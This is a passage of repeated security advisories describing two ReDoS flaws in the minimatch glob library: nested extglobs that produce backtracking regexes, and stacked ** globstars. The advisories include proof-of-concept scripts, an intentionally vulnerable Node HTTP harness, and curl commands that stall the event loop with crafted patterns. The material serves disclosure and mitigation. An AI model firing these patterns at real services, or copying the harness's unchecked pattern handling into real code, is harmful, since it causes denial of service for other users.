poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
